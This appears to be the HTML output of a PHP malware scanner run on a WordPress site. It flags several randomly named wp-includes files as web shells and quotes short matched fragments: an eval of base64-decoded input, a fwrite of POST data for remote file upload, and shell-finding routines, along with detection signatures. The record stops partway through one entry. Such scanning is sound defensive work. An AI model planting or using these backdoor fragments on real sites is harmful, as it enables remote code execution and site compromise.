<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_52").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/szFmdwRAK8U.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:25:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_53" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_53").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/Agk1ewBXKzc.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:02:14</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_54" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_54").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/functions.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 280.94 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 14:16:41</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_55" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_55").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/jEIC3bil4xQ.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_56" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str2 = '</span><span style="color: #007700">Array(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str3 = '</span><span style="color: #007700">@</span><span style="color: #0000BB">$isbot</span><span style="color: #DD0000">'; $search_str4 = '</span><span style="color: #007700">@require</span><span style="color: #DD0000">'; $search_str5 = '</span><span style="color: #007700">eval(</span><span style="color: #0000BB">gzuncompress</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'; $search_str6 = '</span><span style="color: #007700">@include </span><span style="color: #DD0000">"\x2'; </span><span style="color: #0000BB">$search_str7</span><span style="color: #DD0000"> = '</span><span style="color: #0000BB">$OO</span><span style="color: #DD0000">'; </span><span style="color: #0000BB">$search_str8</span><span style="color: #DD0000"> = 'cache=00'; </span><span style="color: #0000BB">$search_str9</span><span style="color: #DD0000"> = 'file_get_contents(\"../index.php\")"'; $search_str10 = '</span><span style="color: #0000BB">is_uploaded_file</span><span style="color: #DD0000">'; $search_str11 = '</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #DD0000">'; $search_str12 = '</span><span style="color: #0000BB">multipart</span><span style="color: #007700">/</span><span style="color: #0000BB">form</span><span style="color: #007700">-</span><span style="color: #0000BB">data</span><span style="color: #DD0000">'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['</span><span style="color: #0000BB">DOCUMENT_</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 279</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 294</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">arr_php_file </span><span style="color: #007700">= </span><span style="color: #0000BB">findshells</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 689d8acc <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 65</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 689d8acc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if (isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'juke'</span><span style="color: #007700">]))
<br />{
<br /> </span><span style="color: #0000BB">$arr_files </span><span style="color: #007700">= </span><span style="color: #0000BB">DirFilesR</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'DOCUMENT_ROOT'</span><span style="color: #007700">]);</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_56").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/RPlgI8Vv7UD.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 28.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:21:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 6</span><br><table id="file_57" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit download_remote_code2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 652</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RFU (Remote File Upload), via HTTP, allow to write malicious code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">fwrite </span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST </span><span style="color: #007700">[</span><span style="color: #DD0000">'new'</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
